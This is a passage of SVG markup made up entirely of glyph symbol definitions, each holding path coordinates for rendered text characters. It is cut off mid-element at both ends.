.219-.01.46-.03.719-.024.261-.047.531-.079.812H2.234c0 .574.047 1.094.141 1.563.094.469.238.87.438 1.203.207.324.468.574.78.75.313.18.704.266 1.173.266.351 0 .707-.063 1.062-.188.352-.133.625-.297.813-.484zm-1.11-5.359c.02-1-.124-1.726-.437-2.187-.304-.47-.718-.704-1.25-.704-.617 0-1.105.235-1.468.704-.356.46-.563 1.187-.625 2.187zm0 0"/></symbol><symbol overflow="visible" id="k"><path style="stroke:none" d="M8.656-12.625H5.22V0h-1.5v-12.625H.28V-14h8.375zm0 0"/></symbol><symbol overflow="visible" id="l"><path style="stroke:none" d="m3.656-3.547.422 1.953h.11l.296-1.953L6-10h1.453L5.078-1.016A57.87 57.87 0 0 1 4.516 1a11.53 11.53 0 0 1-.61 1.625c-.219.457-.465.816-.734 1.078-.274.258-.594.39-.969.39s-.703-.058-.984-.171l.234-1.36c.188.063.375.07.563.032.187-.031.363-.14.53-.328.165-.188.317-.47.454-.844.145-.367.27-.84.375-1.422L.141-10h1.64zm0 0"/></symbol><symbol overflow="visible" id="m"><path style="stroke:none" d="M1.188-10h1.015l.219 1.078H2.5c.488-.875 1.258-1.312 2.313-1.312 1.062 0 1.851.398 2.375 1.187.53.781.796 2.063.796 3.844 0 .844-.09 1.605-.265 2.281-.18.668-.43 1.242-.75 1.719A3.27 3.27 0 0 1 5.812-.125c-.46.238-.968.36-1.53.36-.387 0-.696-.028-.923-.079a2.43 2.43 0 0 1-.734-.281V4H1.187zm1.437 8.422c.188.156.395.281.625.375.227.094.54.14.938.14.695 0 1.253-.359 1.671-1.078.414-.718.625-1.742.625-3.078 0-.562-.039-1.066-.109-1.515a4.02 4.02 0 0 0-.36-1.172 1.925 1.925 0 0 0-.609-.766c-.242-.176-.543-.265-.906-.265-.969 0-1.594.593-1.875 1.78zm0 0"/></symbol><symbol overflow="visible" id="n"><path style="stroke:none" d="M6.563-3.156H3.265L2.437 0h-2.5L4-14.094h1.984L10.063 0H7.421zM3.796-5.234h2.328L5.312-8.5 5-10.703h-.078l-.344 2.219zm0 0"/></symbol><symbol overflow="visible" id="o"><path style="stroke:none" d="M8.047-3.516c0 .555.004 1.11.015 1.672.008.563.063 1.184.157 1.86H6.547l-.328-1.157H6.14C5.68-.203 4.89.266 3.766.266 2.742.266 1.94-.133 1.359-.938.785-1.738.5-3.038.5-4.844c0-1.758.313-3.093.938-4 .625-.914 1.554-1.375 2.796-1.375.32 0 .586.024.797.063.219.043.426.11.625.203V-14h2.39zM4.312-1.922c.364 0 .649-.086.86-.266.219-.175.379-.44.484-.796v-4.72a1.396 1.396 0 0 0-.453-.25 1.865 1.865 0 0 0-.64-.093c-.532 0-.934.246-1.204.735-.273.48-.406 1.328-.406 2.546 0 .93.11 1.637.328 2.125.227.48.57.72 1.031.72zm0 0"/></symbol><symbol overflow="visible" id="p"><path style="stroke:none" d="M5.578-7.64a2.699 2.699 0 0 0-.875-.173c-.367 0-.68.102-.937.297-.262.2-.438.477-.532.829V0H.86v-10h1.829l.265 1.203h.094c.164-.437.41-.781.734-1.031.332-.25.711-.375 1.14-.375.321 0 .634.07.938.203zm0 0"/></symbol><symbol overflow="visible" id="q"><path style="stroke:none" d="M7.625-.734c-.336.293-.79.53-1.36.718a5.808 5.808 0 0 1-1.812.282c-.687 0-1.281-.121-1.781-.36a3.164 3.164 0 0 1-1.235-1.031C1.113-1.582.875-2.133.72-2.781.57-3.437.5-4.176.5-5c0-1.8.352-3.129 1.063-3.984.718-.864 1.71-1.297 2.984-1.297.426 0 .836.062 1.234.187.395.125.75.34 1.063.64.312.306.566.704.765 1.204.196.5.297 1.133.297 1.89 0 .294-.023.606-.062.938-.032.336-.078.695-.14 1.078h-4.86c.02.836.191 1.469.515 1.907.32.437.836.656 1.547.656a3.11 3.11 0 0 0 1.157-.203c.351-.133.625-.274.812-.422zM4.5-8.234c-.512 0-.89.203-1.14.609-.25.406-.4.977-.438 1.703h2.765c.032-.758-.054-1.332-.25-1.719-.199-.394-.511-.593-.937-.593zm0 0"/></symbol><symbol overflow="visible" id="r"><path style="stroke:none" d="M4.219-2.656a.99.99 0 0 0-.266-.703 3.047 3.047 0 0 0-.687-.547l-.891-.516a5.125 5.125 0 0 1-.89-.64A3.187 3.187 0 0 1 .78-5.97c-.18-.363-.265-.82-.265-1.375 0-.926.254-1.644.765-2.156.508-.508 1.254-.766 2.235-.766.593 0 1.144.07 1.656.204.52.124.937.28 1.25.468l-.563 1.828a7.374 7.374 0 0 0-.921-.296 3.866 3.866 0 0 0-1.063-.157c-.648 0-.969.274-.969.813 0 .261.086.476.266.64.176.168.406.329.687.485.282.156.579.324.891.5.313.18.61.398.89.656.282.262.508.578.688.953.176.367.266.824.266 1.375 0 .918-.282 1.656-.844 2.219-.555.562-1.383.844-2.484.844-.555 0-1.094-.07-1.625-.204C1.117-.07.695-.241.375-.453l.672-1.922c.27.156.586.297.953.422.375.117.758.172 1.156.172.313 0 .567-.067.766-.203.195-.145.297-.368.297-.672zm0 0"/></symbol><symbol overflow="visible" id="t"><path style="stroke:none" d="M3.281-3.234c0 .46.047.793.14 1 .095.199.243.296.454.296.125 0 .25-.007.375-.03.125-.032.27-.083.438-.157l.218 1.922c-.168.105-.445.203-.828.297-.387.093-.777.14-1.172.14-.668 0-1.168-.168-1.5-.5-.336-.332-.5-.894-.5-1.687V-14h2.375zm0 0"/></symbol><symbol overflow="visible" id="u"><path style="stroke:none" d="M1.063-10h2.375V0H1.062zm.14-2.813c0-.406.125-.738.375-1 .25-.257.61-.39 1.078-.39.469 0 .844.133 1.125.39.281.25.422.586.422 1 0 .407-.14.731-.422.97-.281.241-.656.359-1.125.359s-.828-.118-1.078-.36c-.25-.25-.375-.57-.375-.969zm0 0"/></symbol><symbol overflow="visible" id="v"><path style="stroke:none" d="M5.813 0v-6.078c0-.738-.09-1.254-.266-1.547-.168-.29-.453-.438-.86-.438-.355 0-.656.11-.906.329-.25.21-.433.476-.547.796V0H.86v-10h1.907l.28 1.156h.048c.238-.383.566-.71.984-.984.414-.27.957-.406 1.625-.406.395 0 .75.062 1.063.187.312.117.57.309.78.578.22.274.38.637.485 1.094.114.46.172 1.031.172 1.719V0zm0 0"/></symbol><symbol overflow="visible" id="w"><path style="stroke:none" d="M1.734-2.125h2.282v-7.86l.265-1.359-.828 1.188-1.312 1.015-1.094-1.343 3.86-3.75h1.39v12.109h2.25V0H1.734zm0 0"/></symbol><symbol overflow="visible" id="R"><path style="stroke:none" d="M8.047-10.64a7.8 7.8 0 0 1-.313 2.14c-.199.719-.453 1.43-.765 2.125a20.678 20.678 0 0 1-1.032 1.984c-.375.625-.742 1.18-1.093 1.657l-.89.812v.11l1.202-.313h3.11V0H1.234v-1.375c.282-.352.582-.75.907-1.188.332-.445.66-.921.984-1.421.332-.5.648-1.02.953-1.563.313-.539.582-1.082.813-1.625.226-.539.41-1.07.546-1.594.145-.52.22-1.004.22-1.453 0-.562-.137-1.015-.407-1.36-.262-.343-.672-.515-1.234-.515a2.57 2.57 0 0 0-1.047.235 3.09 3.09 0 0 0-.875.546l-.89-1.75a4.943 4.943 0 0 1 1.468-.89c.562-.219 1.223-.328 1.984-.328.477 0 .926.078 1.344.234.414.156.77.387 1.063.688.3.304.539.683.718 1.14.176.45.266.977.266 1.578zm0 0"/></symbol><symbol overflow="visible" id="Y"><path style="stroke:none" d="M8.844-.563c-.356.293-.824.508-1.406.641a7.62 7.62 0 0 1-1.72.203c-.718 0-1.39-.12-2.015-.36-.617-.25-1.156-.66-1.625-1.234-.469-.582-.84-1.335-1.11-2.265-.261-.938-.39-2.082-.39-3.438 0-1.414.149-2.586.453-3.515.301-.938.692-1.68 1.172-2.235.488-.55 1.047-.941 1.672-1.171a5.549 5.549 0 0 1 1.906-.344c.657 0 1.223.058 1.703.172.489.105.891.218 1.204.343l-.5 2.22a4.112 4.112 0 0 0-.907-.298 5.909 5.909 0 0 0-1.203-.11c-.918 0-1.625.403-2.125 1.204-.492.793-.734 2.043-.734 3.75 0 .73.054 1.402.172 2.016.113.605.289 1.125.53 1.562.25.438.563.777.938 1.016.383.242.844.36 1.375.36.47 0 .868-.063 1.204-.188.332-.125.632-.274.906-.454zm0 0"/></symbol><symbol overflow="visible" id="Z"><path style="stroke:none" d="M.078-10h1.11v-1.875l2.375-.75V-10H5.5v2.125H3.562v4.36c0 .574.055.98.172 1.218.114.242.317.36.61.36.195 0 .375-.02.531-.063.164-.04.344-.102.531-.188L5.703-.28a4.676 4.676 0 0 1-1.031.36 4.78 4.78 0 0 1-1.219.155c-.762 0-1.328-.218-1.703-.656-.375-.437-.563-1.176-.563-2.219v-5.234H.079zm0 0"/></symbol><symbol overflow="visible" id="aa"><path style="stroke:none" d="m4.063-4.375.25 1.563h.109l.172-1.594L5.766-10h2.437l-2.5 9.016c-.23.793-.445 1.5-.64 2.125-.2.625-.415 1.156-.641 1.593-.23.446-.492.786-.781 1.016a1.573 1.573 0 0 1-1.016.344c-.281 0-.555-.028-.813-.078a2.123 2.123 0 0 1-.671-.22l.406-2.03c.164.062.336.086.516.078a.73.73 0 0 0 .5-.203c.156-.125.289-.325.406-.594.125-.262.226-.61.312-1.047L-.203-10h2.86zm0 0"/></symbol><symbol overflow="visible" id="ab"><path style="stroke:none" d="m.422-2.313 4.672-8.546.843-.829H.423V-14h8.062v2.313L3.781-3.079l-.828.765h5.531V0H.422zm0 0"/></symbol><symbol overflow="visible" id="ac"><path style="stroke:none" d="M1.125-14h2.516V0H1.125zm0 0"/></symbol><symbol overflow="visible" id="ad"><path style="stroke:none" d="M.906-13.86a15.781 15.781 0 0 1 1.578-.25c.57-.062 1.145-.093 1.72-.093.612 0 1.218.058 1.812.172.593.117 1.117.34 1.578.672.468.336.847.804 1.14 1.406.301.605.454 1.398.454 2.375 0 .875-.126 1.621-.376 2.234-.25.617-.585 1.117-1 1.5A3.704 3.704 0 0 1 6.391-5a5.29 5.29 0 0 1-1.672.266h-.266a10.596 10.596 0 0 1-.766-.047 1.822 1.822 0 0 1-.265-.032V0H.906zm2.516 6.782c.082.023.234.043.453.062a4.6 4.6 0 0 0 .438.032c.3 0 .582-.036.843-.11.27-.082.508-.218.719-.406.207-.195.367-.46.484-.797.125-.344.188-.773.188-1.297 0-.445-.059-.82-.172-1.125a1.862 1.862 0 0 0-.469-.734 1.628 1.628 0 0 0-.672-.375 2.54 2.54 0 0 0-.796-.125c-.418 0-.758.031-1.016.094zm0 0"/></symbol><symbol overflow="visible" id="ae"><path style="stroke:none" d="M.5-5c0-1.77.344-3.086 1.031-3.953.696-.875 1.664-1.313 2.907-1.313 1.332 0 2.328.446 2.984 1.329.656.874.984 2.187.984 3.937 0 1.793-.351 3.121-1.047 3.984C6.66-.16 5.688.266 4.438.266 1.813.266.5-1.488.5-5zm2.453 0c0 1 .113 1.777.344 2.328.226.543.61.813 1.14.813.508 0 .883-.235 1.125-.704.25-.476.375-1.289.375-2.437 0-1.031-.117-1.813-.343-2.344-.219-.531-.606-.797-1.157-.797-.468 0-.835.243-1.093.72-.262.468-.39 1.276-.39 2.421zm0 0"/></symbol><symbol overflow="visible" id="af"><path style="stroke:none" d="M5.797-3.594c0-.426-.125-.789-.375-1.094-.25-.3-.57-.582-.953-.843-.375-.27-.79-.547-1.235-.828a7.376 7.376 0 0 1-1.25-.985 5.242 5.242 0 0 1-.953-1.312c-.25-.508-.375-1.13-.375-1.86 0-.687.102-1.265.313-1.734.207-.469.488-.852.844-1.156.363-.301.789-.52 1.28-.656a5.713 5.713 0 0 1 1.595-.22c.675 0 1.304.071 1.89.204.582.137 1.07.312 1.469.531l-.781 2.235c-.23-.165-.57-.313-1.016-.438a5.103 5.103 0 0 0-1.453-.203c-.524 0-.922.11-1.203.328-.274.21-.406.516-.406.922 0 .375.124.71.374 1a5.7 5.7 0 0 0 .938.828c.383.262.8.54 1.25.828.445.281.86.617 1.234 1 .383.375.704.824.954 1.344.25.512.375 1.121.375 1.828 0 .71-.106 1.324-.313 1.844-.2.511-.492.937-.875 1.281A3.528 3.528 0 0 1 5.75.016 5.602 5.602 0 0 1 3.984.28c-.836 0-1.562-.086-2.187-.25C1.18-.125.707-.3.375-.5l.828-2.266c.258.168.625.329 1.094.485.469.156.969.234 1.5.234 1.332 0 2-.515 2-1.547zm0 0"/></symbol><symbol overflow="visible" id="ag"><path style="stroke:none" d="M.875-9.406c.406-.239.906-.43 1.5-.578a8.794 8.794 0 0 1 2.047-.22c1.133 0 1.922.298 2.36.892.445.585.671 1.417.671 2.5 0 .625-.016 1.242-.047 1.843-.031.606-.058 1.2-.078 1.782-.012.585 0 1.148.031 1.687.04.531.133 1.04.282 1.516H5.703l-.39-1.22h-.079a2.74 2.74 0 0 1-.89.97c-.387.25-.875.375-1.469.375-.781 0-1.402-.258-1.86-.782C.567-1.17.345-1.879.345-2.766c0-1.195.426-2.046 1.281-2.546.852-.508 2.004-.723 3.453-.641.07-.781.024-1.344-.14-1.688-.168-.343-.528-.515-1.079-.515-.398 0-.808.047-1.234.14-.43.094-.809.227-1.14.391zm2.86 7.5c.363 0 .656-.086.874-.266a1.88 1.88 0 0 0 .516-.594v-1.656a3.802 3.802 0 0 0-.89-.016 2.23 2.23 0 0 0-.735.172c-.21.094-.383.235-.516.422-.125.18-.187.406-.187.688 0 .406.082.719.25.937.164.211.394.313.687.313zm0 0"/></symbol><symbol overflow="visible" id="x"><path style="stroke:none" d="M1.063-1.672c.226.156.546.305.953.438.414.136.89.203 1.421.203.676 0 1.223-.16 1.641-.485.414-.332.625-.851.625-1.562 0-.469-.121-.875-.36-1.219a4.588 4.588 0 0 0-.905-.969c-.356-.289-.743-.578-1.157-.859a9.064 9.064 0 0 1-1.172-.938 4.842 4.842 0 0 1-.89-1.171c-.242-.446-.36-.985-.36-1.61 0-1.008.301-1.754.907-2.234.613-.488 1.406-.735 2.375-.735.601 0 1.132.06 1.593.172.47.106.848.243 1.141.407l-.438 1.187c-.21-.133-.515-.254-.921-.36a5.19 5.19 0 0 0-1.391-.171c-.648 0-1.125.164-1.438.484-.312.313-.468.711-.468 1.188 0 .43.117.804.36 1.125.237.324.534.633.89.922.363.28.75.574 1.156.875.414.293.805.62 1.172.984.363.355.664.762.906 1.219.238.449.36.984.36 1.61 0 1.062-.313 1.898-.938 2.5-.625.593-1.512.89-2.656.89-.719 0-1.309-.07-1.766-.203C1.243-.117.875-.27.593-.438zm0 0"/></symbol><symbol overflow="visible" id="y"><path style="stroke:none" d="M.156-9h1.11v-1.781l1.296-.422V-9H4.5v1.172H2.562v5.36c0 .53.063.917.188 1.155.125.231.328.344.61.344.238 0 .445-.023.624-.078.176-.062.364-.133.563-.219l.266 1.032c-.274.136-.57.238-.891.312-.313.082-.64.125-.985.125-.605 0-1.039-.195-1.296-.578-.25-.395-.375-1.031-.375-1.906v-5.547H.156zm0 0"/></symbol><symbol overflow="visible" id="z"><path style="stroke:none" d="M1.063-9h.921l.235.953h.047c.164-.344.382-.613.656-.812.27-.196.598-.297.984-.297.27 0 .582.054.938.156l-.25 1.313a2.75 2.75 0 0 0-.828-.157c-.387 0-.7.11-.938.328-.242.22-.398.516-.469.891V0H1.063zm0 0"/></symbol><symbol overflow="visible" id="A"><path style="stroke:none" d="M6.438-.61c-.282.262-.649.465-1.094.61a4.456 4.456 0 0 1-1.407.219c-.562 0-1.054-.11-1.468-.328a2.921 2.921 0 0 1-1.016-.954C1.18-1.476.984-1.973.86-2.546A9.338 9.338 0 0 1 .672-4.5c0-1.531.281-2.695.844-3.5.562-.813 1.359-1.219 2.39-1.219.332 0 .664.043 1 .125.332.086.63.258.89.516.259.25.47.605.626 1.062.164.45.25 1.043.25 1.782 0 .199-.012.418-.031.656-.012.23-.028.469-.047.719H2.016c0 .523.039.992.125 1.406.082.418.21.777.39 1.078.188.293.422.523.703.688.282.156.63.234 1.047.234.32 0 .64-.055.953-.172.32-.125.567-.27.735-.438zm-1-4.827c.019-.895-.11-1.551-.391-1.97-.274-.425-.649-.64-1.125-.64-.555 0-.992.215-1.313.64-.324.419-.515 1.075-.578 1.97zm0 0"/></symbol><symbol overflow="visible" id="C"><path style="stroke:none" d="M.969-8.453c.351-.219.773-.383 1.265-.5a6.47 6.47 0 0 1 1.579-.188c.507 0 .914.079 1.218.235.301.148.54.351.719.61.176.25.29.542.344.874.05.324.078.668.078 1.031 0 .72-.016 1.422-.047 2.11-.031.68-.047 1.324-.047 1.937 0 .461.016.887.047 1.281.031.387.086.75.172 1.094h-.984L5-1.03h-.063a2.544 2.544 0 0 1-.796.812c-.344.227-.813.344-1.407.344-.648 0-1.18-.223-1.593-.672C.723-.992.516-1.613.516-2.407c0-.519.086-.952.265-1.296a2.17 2.17 0 0 1 .735-.844A3.04 3.04 0 0 1 2.656-5c.438-.094.926-.14 1.469-.14h.344c.125 0 .254.007.39.015.032-.375.047-.707.047-1 0-.676-.105-1.148-.312-1.422-.2-.281-.57-.422-1.11-.422-.336 0-.699.055-1.093.157a3.41 3.41 0 0 0-.985.375zM4.875-4.11a5.296 5.296 0 0 0-.36-.016c-.117-.008-.234-.016-.359-.016-.293 0-.578.028-.86.079a2.122 2.122 0 0 0-.733.25c-.211.117-.376.277-.5.484-.126.2-.188.453-.188.765 0 .481.113.856.344 1.126.238.261.539.39.906.39.508 0 .898-.117 1.172-.36.281-.238.473-.503.578-.796zm0 0"/></symbol><symbol overflow="visible" id="D"><path style="stroke:none" d="M6.734-3.094c0 .617.004 1.172.016 1.672.008.492.05.977.125 1.453H6l-.297-1.078h-.062c-.18.367-.45.668-.813.906-.355.239-.781.36-1.281.36-.969 0-1.695-.375-2.172-1.125C.906-1.664.672-2.86.672-4.484c0-1.532.285-2.692.86-3.485.581-.789 1.382-1.187 2.405-1.187.352 0 .63.023.829.062.207.043.43.11.671.203v-3.703h1.297zM5.438-7.578a1.513 1.513 0 0 0-.579-.313c-.21-.062-.484-.093-.828-.093-.636 0-1.133.289-1.484.859-.356.574-.531 1.46-.531 2.656 0 .532.03 1.012.093 1.438.07.43.176.797.313 1.11.133.312.312.554.531.718.227.168.504.25.828.25.864 0 1.414-.508 1.656-1.531zm0 0"/></symbol><symbol overflow="visible" id="E"><path style="stroke:none" d="M.922-1.469c.238.137.52.258.844.36.332.105.675.156 1.03.156.395 0 .727-.098 1-.297.282-.195.423-.52.423-.969 0-.363-.09-.664-.266-.906a2.769 2.769 0 0 0-.64-.64 5.361 5.361 0 0 0-.829-.532 4.38 4.38 0 0 1-.843-.594A3.22 3.22 0 0 1 1-5.703C.832-6.016.75-6.41.75-6.891c0-.77.207-1.347.625-1.734.414-.395 1-.594 1.75-.594.5 0 .926.047 1.281.14.364.087.676.204.938.36L5-7.625a3.35 3.35 0 0 0-.797-.297 3.34 3.34 0 0 0-.906-.125c-.438 0-.758.094-.953.281-.2.18-.297.454-.297.829 0 .304.082.562.25.78.176.212.39.403.64.579.258.168.54.344.844.531.301.18.578.39.828.64.258.243.473.532.641.876.176.336.266.761.266 1.281 0 .336-.059.652-.172.953a1.961 1.961 0 0 1-.5.781 2.439 2.439 0 0 1-.828.532c-.325.132-.711.203-1.157.203-.53 0-.992-.055-1.375-.157a3.615 3.615 0 0 1-.968-.406zm0 0"/></symbol><symbol overflow="visible" id="F"><path style="stroke:none" d="M.64-.781c0-.29.087-.524.266-.703a.879.879 0 0 1 .672-.282c.313 0 .567.125.766.375.195.25.297.649.297 1.188 0 .394-.055.75-.157 1.062-.093.32-.226.602-.39.844a2.538 2.538 0 0 1-.531.594c-.188.156-.372.27-.547.344l-.454-.61c.157-.086.301-.195.438-.328.133-.137.242-.293.328-.469.094-.168.164-.343.219-.53.05-.18.078-.36.078-.548a.708.708 0 0 1-.672-.14C.743-.148.641-.414.641-.781zm0 0"/></symbol><symbol overflow="visible" id="G"><path style="stroke:none" d="M1.156-12.469c.383-.113.79-.187 1.219-.219.438-.039.863-.062 1.281-.062.477 0 .953.059 1.422.172a3.2 3.2 0 0 1 1.266.594c.375.28.676.68.906 1.187.238.5.36 1.14.36 1.922 0 .762-.11 1.406-.329 1.938-.218.523-.515.949-.89 1.28-.368.325-.79.563-1.266.72a4.782 4.782 0 0 1-1.453.218H3.094a9.356 9.356 0 0 1-.344-.031c-.117-.008-.2-.02-.25-.031V0H1.156zm2.563.969c-.242 0-.469.012-.688.031-.219.012-.398.04-.531.078v5.36a.68.68 0 0 0 .219.047c.101.011.207.023.312.03h.548c.343 0 .663-.038.968-.124.312-.082.586-.234.828-.453.238-.227.43-.532.578-.907.156-.382.234-.863.234-1.437 0-.5-.07-.914-.203-1.25a2.083 2.083 0 0 0-.546-.813 1.861 1.861 0 0 0-.782-.437 3.463 3.463 0 0 0-.937-.125zm0 0"/></symbol><symbol overflow="visible" id="H"><path style="stroke:none" d="M.703-.813c0-.332.078-.582.235-.75.164-.164.39-.25.671-.25.27 0 .485.086.641.25.164.168.25.418.25.75 0 .356-.086.618-.25.782-.156.164-.371.25-.64.25-.282 0-.508-.086-.673-.25C.781-.195.704-.457.704-.812zm0 0"/></symbol><symbol overflow="visible" id="I"><path style="stroke:none" d="M.781-6.297c0-2.133.336-3.754 1.016-4.86.687-1.1 1.734-1.655 3.14-1.655.75 0 1.391.156 1.922.468.532.305.957.735 1.282 1.297.332.563.578 1.246.734 2.047.156.805.234 1.703.234 2.703 0 2.137-.351 3.758-1.046 4.86C7.375-.333 6.332.218 4.937.218c-.75 0-1.39-.153-1.921-.453a3.794 3.794 0 0 1-1.297-1.313C1.383-2.109 1.145-2.789 1-3.594.852-4.406.781-5.304.781-6.297zm1.422 0c0 .711.047 1.383.14 2.016a6.44 6.44 0 0 0 .485 1.672c.219.48.5.867.844 1.156.344.281.765.422 1.265.422.895 0 1.579-.43 2.047-1.297.47-.863.704-2.188.704-3.969 0-.695-.055-1.363-.157-2a6.692 6.692 0 0 0-.484-1.672c-.211-.488-.492-.879-.844-1.172-.344-.289-.766-.437-1.266-.437-.898 0-1.578.433-2.046 1.297-.461.867-.688 2.195-.688 3.984zm0 0"/></symbol><symbol overflow="visible" id="J"><path style="stroke:none" d="M1.063-12.594h1.296v4.281h.047c.5-.601 1.156-.906 1.969-.906.926 0 1.617.371 2.078 1.11.457.73.688 1.886.688 3.468 0 1.618-.309 2.82-.922 3.61C5.602-.238 4.727.156 3.594.156A5.73 5.73 0 0 1 2.078-.03c-.45-.125-.789-.27-1.015-.438zM2.359-1.313c.164.094.368.168.61.22.25.054.515.077.797.077.625 0 1.117-.296 1.484-.89.363-.594.547-1.504.547-2.735a8.2 8.2 0 0 0-.11-1.39 4.309 4.309 0 0 0-.296-1.078c-.137-.301-.32-.532-.547-.688a1.293 1.293 0 0 0-.797-.25c-.43 0-.781.133-1.063.39-.28.262-.492.61-.625 1.048zm0 0"/></symbol><symbol overflow="visible" id="K"><path style="stroke:none" d="M.672-4.5c0-1.625.273-2.816.828-3.578.563-.758 1.36-1.14 2.39-1.14 1.102 0 1.915.39 2.438 1.171.52.781.781 1.965.781 3.547 0 1.637-.28 2.836-.843 3.594C5.703-.156 4.91.219 3.89.219c-1.106 0-1.918-.39-2.438-1.172C.93-1.734.672-2.914.672-4.5zm1.344 0c0 .531.03 1.016.093 1.453.07.43.18.797.329 1.11.144.312.335.558.578.734.25.168.539.25.875.25.625 0 1.093-.274 1.406-.828.312-.563.469-1.469.469-2.719 0-.52-.04-1-.11-1.438a3.673 3.673 0 0 0-.328-1.125 1.793 1.793 0 0 0-.578-.718 1.422 1.422 0 0 0-.86-.266c-.617 0-1.085.281-1.406.844-.312.562-.468 1.465-.468 2.703zm0 0"/></symbol><symbol overflow="visible" id="L"><path style="stroke:none" d="M2.89-4.61.517-9h1.546l1.344 2.578.36 1 .375-1L5.516-9h1.421L4.531-4.687 7.078 0H5.594l-1.5-2.828-.407-1.078-.406 1.078L1.766 0H.344zm0 0"/></symbol><symbol overflow="visible" id="M"><path style="stroke:none" d="M6.031-.453c-.304.23-.648.398-1.031.5-.387.113-.79.172-1.203.172-.574 0-1.059-.11-1.453-.328a2.695 2.695 0 0 1-.969-.954c-.242-.414-.418-.914-.531-1.5A9.847 9.847 0 0 1 .672-4.5c0-1.531.27-2.695.812-3.5.54-.813 1.32-1.219 2.344-1.219.469 0 .867.043 1.203.125.344.086.633.196.875.328l-.36 1.141c-.48-.281-1-.422-1.562-.422-.656 0-1.152.29-1.484.86-.324.562-.484 1.46-.484 2.687 0 .492.035.953.109 1.39.07.43.191.805.36 1.126.163.312.378.562.64.75.27.187.602.28 1 .28A2.4 2.4 0 0 0 5-1.108c.27-.114.488-.243.656-.391zm0 0"/></symbol><symbol overflow="visible" id="N"><path style="stroke:none" d="M5.281 0v-5.344c0-.476-.015-.89-.047-1.234a2.42 2.42 0 0 0-.203-.828 1.046 1.046 0 0 0-.39-.485c-.168-.101-.387-.156-.657-.156a1.34 1.34 0 0 0-1.046.485 2.5 2.5 0 0 0-.579 1.078V0H1.063v-9h.921l.235.953h.047c.25-.344.546-.625.89-.844.352-.218.801-.328 1.344-.328.457 0 .832.102 1.125.297.29.2.52.555.688 1.063.218-.426.523-.758.921-1 .407-.239.848-.36 1.329-.36a3 3 0 0 1 1.015.156c.29.106.52.29.688.547.175.25.304.59.39 1.016.082.43.125.965.125 1.61V0H9.484v-5.719c0-.781-.078-1.363-.234-1.75-.148-.383-.492-.578-1.031-.578-.45 0-.809.14-1.078.422-.274.281-.465.664-.579 1.14V0zm0 0"/></symbol><symbol overflow="visible" id="O"><path style="stroke:none" d="M1.063-9h.921l.188.969h.078c.445-.79 1.145-1.188 2.094-1.188.945 0 1.656.356 2.125 1.063.476.71.718 1.867.718 3.469 0 .761-.078 1.445-.234 2.046a4.926 4.926 0 0 1-.672 1.547c-.293.43-.648.758-1.062.985a2.82 2.82 0 0 1-1.36.328 4.71 4.71 0 0 1-.843-.063 2.434 2.434 0 0 1-.657-.265v3.703H1.063zm1.296 7.578c.164.149.352.262.563.344.207.086.488.125.844.125.632 0 1.132-.32 1.5-.969.375-.644.562-1.57.562-2.781 0-.5-.031-.953-.094-1.36a3.593 3.593 0 0 0-.312-1.046c-.149-.301-.336-.532-.563-.688a1.323 1.323 0 0 0-.812-.25c-.875 0-1.438.54-1.688 1.61zm0 0"/></symbol><symbol overflow="visible" id="P"><path style="stroke:none" d="M5.672 0v-5.484c0-.907-.106-1.555-.313-1.954-.21-.406-.586-.609-1.125-.609-.48 0-.875.149-1.187.438a2.472 2.472 0 0 0-.688 1.062V0H1.063v-9H2l.234.953h.047c.227-.32.535-.598.922-.828.395-.227.863-.344 1.406-.344.383 0 .723.059 1.016.172.29.106.535.29.734.547.196.25.348.594.454 1.031.101.43.156.977.156 1.64V0zm0 0"/></symbol><symbol overflow="visible" id="Q"><path style="stroke:none" d="m3.297-3.188.375 1.75h.094l.265-1.75L5.406-9H6.72L4.579-.922c-.18.649-.352 1.25-.516 1.813a9.848 9.848 0 0 1-.547 1.468c-.2.414-.422.739-.672.97-.242.237-.528.358-.86.358-.343 0-.64-.054-.89-.156l.218-1.234c.165.062.333.07.5.031.165-.031.32-.133.47-.297.155-.168.296-.418.421-.75.125-.324.238-.75.344-1.281L.125-9h1.484zm0 0"/></symbol><symbol overflow="visible" id="S"><path style="stroke:none" d="M6-3.531H2.437L1.423 0H.094L3.89-12.797h.734L8.422 0H7.016zM2.797-4.734h2.875L4.578-8.625l-.344-1.89h-.046l-.329 1.921zm0 0"/></symbol><symbol overflow="visible" id="T"><path style="stroke:none" d="M2.234-9v5.516c0 .906.094 1.558.282 1.953.187.386.523.578 1.015.578.25 0 .473-.05.672-.156.195-.102.375-.239.531-.407.157-.164.29-.351.407-.562.125-.219.222-.442.296-.672V-9h1.297v6.438c0 .437.016.89.047 1.359.032.46.07.86.125 1.203H6l-.328-1.266h-.063c-.199.399-.492.746-.875 1.047-.386.29-.867.438-1.437.438C2.91.219 2.57.164 2.28.062a1.605 1.605 0 0 1-.734-.515c-.211-.25-.367-.594-.469-1.031-.094-.438-.14-1-.14-1.688V-9zm0 0"/></symbol><symbol overflow="visible" id="U"><path style="stroke:none" d="M1.281-9h1.297v9H1.281zm-.234-2.734c0-.29.078-.524.234-.704a.84.84 0 0 1 .64-.265c.27 0 .49.09.657.265.176.168.266.403.266.704 0 .293-.09.523-.266.687-.168.156-.387.235-.656.235a.856.856 0 0 1-.64-.25c-.157-.176-.235-.399-.235-.672zm0 0"/></symbol><symbol overflow="visible" id="V"><path style="stroke:none" d="M2.453-2.14c0 .417.055.718.172.906.113.18.27.265.469.265.25 0 .547-.066.89-.203L4.11-.125a2.248 2.248 0 0 1-.656.234c-.281.063-.539.094-.765.094-.461 0-.829-.14-1.11-.422-.281-.281-.422-.773-.422-1.484v-10.89h1.297zm0 0"/></symbol><symbol overflow="visible" id="W"><path style="stroke:none" d="M6.734.406c0 1.164-.261 2.024-.78 2.578-.513.551-1.263.829-2.25.829-.595 0-1.087-.055-1.47-.157a3.77 3.77 0 0 1-.937-.344l.375-1.109c.238.102.5.203.781.297.29.094.649.14 1.078.14.727 0 1.227-.203 1.5-.609.27-.406.407-1.09.407-2.047v-.671h-.063c-.188.28-.434.5-.734.656-.305.156-.688.234-1.157.234-.968 0-1.683-.375-2.14-1.125-.45-.75-.672-1.93-.672-3.547 0-1.539.297-2.707.89-3.5.594-.789 1.47-1.187 2.625-1.187.57 0 1.063.054 1.47.156.405.105.765.23 1.077.375zm-1.296-8.11c-.368-.187-.829-.28-1.391-.28-.617 0-1.11.28-1.484.843-.368.555-.547 1.438-.547 2.657 0 .511.03.98.093 1.406.063.418.16.789.297 1.11a2 2 0 0 0 .547.734c.227.18.504.265.828.265.457 0 .817-.117 1.078-.36.258-.237.454-.597.579-1.077zm0 0"/></symbol><symbol overflow="visible" 